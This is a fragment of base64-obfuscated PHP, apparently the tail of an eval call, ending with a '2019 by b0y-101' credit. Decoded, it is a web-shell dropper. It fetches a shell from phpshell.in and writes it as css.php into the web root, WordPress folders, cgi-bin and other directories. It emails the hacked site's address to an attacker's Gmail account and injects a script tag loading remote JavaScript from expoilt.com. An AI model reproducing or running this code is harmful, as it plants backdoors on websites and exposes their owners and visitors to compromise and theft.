iBAdG91Y2ggKCJqcy9jcnMucGhwIik7CiAkdmVyID0gQGZvcGVuICgkZGF0YSAsICd3Jyk7CiBAZndyaXRlICggJHZlciAsICRkb3MgKSA7CiBAZmNsb3NlICgkdmVyKTsKICR5b2wgPSAiaHR0cDovLyIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIiLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLiIiOwogJHkgPSAnPGgxPlNlbmRlciBZYXpkaXJpbGRpLjxici8+IFNJVEUgWU9MIDogJy4keW9sLic8YnIvPlNlbmRlciBZb2x1IDoganMvY3JzLnBocDwvaDE+JzsKICRoZWFkZXIgLj0gIkZyb206IFNoZUxMIEJvb3QgPHN1cHBvckBuaWMub3JnPlxuIjsKICRoZWFkZXIgLj0gIkNvbnRlbnQtVHlwZTogdGV4dC9odG1sOwogY2hhcnNldD11dGYtOFxuIjsKIEBtYWlsKCJieWhlcm80NEBnbWFpbC5jb20iLCAiSGFja2xpbmsgQmlsZGlyaSIsICIkeSIsICRoZWFkZXIpOwogQG1haWwoImJ5aGVybzQ0QGdtYWlsLmNvbSIsICJIYWNrbGluayBCaWxkaXJpIiwgIiR5IiwgJGhlYWRlcik7CiB9IAo/Pjw/cGhwCmZ1bmN0aW9uIGh0dHBfZ2V0KCR1cmwpewoJJGltID0gY3VybF9pbml0KCR1cmwpOwoJY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKCWN1cmxfc2V0b3B0KCRpbSwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTApOwoJY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsKCWN1cmxfc2V0b3B0KCRpbSwgQ1VSTE9QVF9IRUFERVIsIDApOwoJcmV0dXJuIGN1cmxfZXhlYygkaW0pOwoJY3VybF9jbG9zZSgkaW0pOwp9CiRjaGVjayA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiL2pzL2Nzcy5waHAiIDsKJHRleHQgPSBodHRwX2dldCgnaHR0cDovL3BocHNoZWxsLmluL3R4dC9sYW1lci50eHQnKTsKJG9wZW4gPSBmb3BlbigkY2hlY2ssICd3Jyk7CmZ3cml0ZSgkb3BlbiwgJHRleHQpOwpmY2xvc2UoJG9wZW4pOwppZihmaWxlX2V4aXN0cygkY2hlY2spKXsKICAgIGVjaG8gJGNoZWNrLiI8L2JyPiI7Cn1lbHNlIAogIGVjaG8gIm5vdCBleGl0cyI7CmVjaG8gImRvbmUgLlxuICIgOwokY2hlY2sgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi9tb2R1bGVzL2Nzcy5waHAiIDsKJHRleHQgPSBodHRwX2dldCgnaHR0cDovL3BocHNoZWxsLmluL3R4dC9sYW1lci50eHQnKTsKJG9wZW4gPSBmb3BlbigkY2hlY2ssICd3Jyk7CmZ3cml0ZSgkb3BlbiwgJHRleHQpOwpmY2xvc2UoJG9wZW4pOwppZihmaWxlX2V4aXN0cygkY2hlY2spKXsKICAgIGVjaG8gJGNoZWNrLiI8L2JyPiI7Cn1lbHNlIAogIGVjaG8gIm5vdCBleGl0cyI7CmVjaG8gImRvbmUgLlxuICIgOwokY2hlY2sgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi93cC1jb250ZW50L2Nzcy5waHAiIDsKJHRleHQgPSBodHRwX2dldCgnaHR0cDovL3BocHNoZWxsLmluL3R4dC9sYW1lci50eHQnKTsKJG9wZW4gPSBmb3BlbigkY2hlY2ssICd3Jyk7CmZ3cml0ZSgkb3BlbiwgJHRleHQpOwpmY2xvc2UoJG9wZW4pOwppZihmaWxlX2V4aXN0cygkY2hlY2spKXsKICAgIGVjaG8gJGNoZWNrLiI8L2JyPiI7Cn1lbHNlIAogIGVjaG8gIm5vdCBleGl0cyI7CmVjaG8gImRvbmUgLlxuICIgOwokY2hlY2sgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi93cC1pbmNsdWRlcy9jc3MucGhwIiA7CiR0ZXh0ID0gaHR0cF9nZXQoJ2h0dHA6Ly9waHBzaGVsbC5pbi90eHQvbGFtZXIudHh0Jyk7CiRvcGVuID0gZm9wZW4oJGNoZWNrLCAndycpOwpmd3JpdGUoJG9wZW4sICR0ZXh0KTsKZmNsb3NlKCRvcGVuKTsKaWYoZmlsZV9leGlzdHMoJGNoZWNrKSl7CiAgICBlY2hvICRjaGVjay4iPC9icj4iOwp9ZWxzZSAKICBlY2hvICJub3QgZXhpdHMiOwplY2hvICJkb25lIC5cbiAiIDsKJGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvaW5jbHVkZXMvY3NzLnBocCIgOwokdGV4dCA9IGh0dHBfZ2V0KCdodHRwOi8vcGhwc2hlbGwuaW4vdHh0L2xhbWVyLnR4dCcpOwokb3BlbiA9IGZvcGVuKCRjaGVjaywgJ3cnKTsKZndyaXRlKCRvcGVuLCAkdGV4dCk7CmZjbG9zZSgkb3Blbik7CmlmKGZpbGVfZXhpc3RzKCRjaGVjaykpewogICAgZWNobyAkY2hlY2suIjwvYnI+IjsKfWVsc2UgCiAgZWNobyAibm90IGV4aXRzIjsKZWNobyAiZG9uZSAuXG4gIiA7CiRjaGVjayA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiL3NpdGVzL2Nzcy5waHAiIDsKJHRleHQgPSBodHRwX2dldCgnaHR0cDovL3BocHNoZWxsLmluL3R4dC9sYW1lci50eHQnKTsKJG9wZW4gPSBmb3BlbigkY2hlY2ssICd3Jyk7CmZ3cml0ZSgkb3BlbiwgJHRleHQpOwpmY2xvc2UoJG9wZW4pOwppZihmaWxlX2V4aXN0cygkY2hlY2spKXsKICAgIGVjaG8gJGNoZWNrLiI8L2JyPiI7Cn1lbHNlIAogIGVjaG8gIm5vdCBleGl0cyI7CmVjaG8gImRvbmUgLlxuICIgOwokY2hlY2syID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvY3NzL2Nzcy5waHAiIDsKJHRleHQyID0gaHR0cF9nZXQoJ2h0dHA6Ly9waHBzaGVsbC5pbi90eHQvbGFtZXIudHh0Jyk7CiRvcGVuMiA9IGZvcGVuKCRjaGVjazIsICd3Jyk7CmZ3cml0ZSgkb3BlbjIsICR0ZXh0Mik7CmZjbG9zZSgkb3BlbjIpOwppZihmaWxlX2V4aXN0cygkY2hlY2syKSl7CiAgICBlY2hvICRjaGVjazIuIjwvYnI+IjsKfWVsc2UgCiAgZWNobyAibm90IGV4aXRzMiI7CmVjaG8gImRvbmUyIC5cbiAiIDsKJGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvY2dpLWJpbi9jc3MucGhwIiA7CiR0ZXh0ID0gaHR0cF9nZXQoJ2h0dHA6Ly9waHBzaGVsbC5pbi90eHQvbGFtZXIudHh0Jyk7CiRvcGVuID0gZm9wZW4oJGNoZWNrLCAndycpOwpmd3JpdGUoJG9wZW4sICR0ZXh0KTsKZmNsb3NlKCRvcGVuKTsKaWYoZmlsZV9leGlzdHMoJGNoZWNrKSl7CiAgICBlY2hvICRjaGVjay4iPC9icj4iOwp9ZWxzZSAKICBlY2hvICJub3QgZXhpdHMiOwplY2hvICJkb25lIC5cbiAiIDsKJGNoZWNrMz0kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi9jc3MucGhwIiA7CiR0ZXh0MyA9IGh0dHBfZ2V0KCdodHRwOi8vcGhwc2hlbGwuaW4vdHh0L2xhbWVyLnR4dCcpOwokb3AzPWZvcGVuKCRjaGVjazMsICd3Jyk7CmZ3cml0ZSgkb3AzLCR0ZXh0Myk7CmZjbG9zZSgkb3AzKTsKCgokY2hlY2s2PSRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiL2ltYWdlcy9jc3MucGhwIiA7CiR0ZXh0NiA9IGh0dHBfZ2V0KCdodHRwOi8vcGhwc2hlbGwuaW4vdHh0L2xhbWVyLnR4dCcpOwokb3A2PWZvcGVuKCRjaGVjazYsICd3Jyk7CmZ3cml0ZSgkb3A2LCR0ZXh0Nik7CmZjbG9zZSgkb3A2KTsKCiRjaGVjazY9JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvd3AtYWRtaW4vY3NzLnBocCIgOwokdGV4dDYgPSBodHRwX2dldCgnaHR0cDovL3BocHNoZWxsLmluL3R4dC9sYW1lci50eHQnKTsKJG9wNj1mb3BlbigkY2hlY2s2LCAndycpOwpmd3JpdGUoJG9wNiwkdGV4dDYpOwpmY2xvc2UoJG9wNik7Cj8+PHNjcmlwdCBzcmM9aHR0cDovL2V4cG9pbHQuY29tL2NjYi5qcz48L3NjcmlwdD4K")); ?>

Copyright © 2019 by b0y-101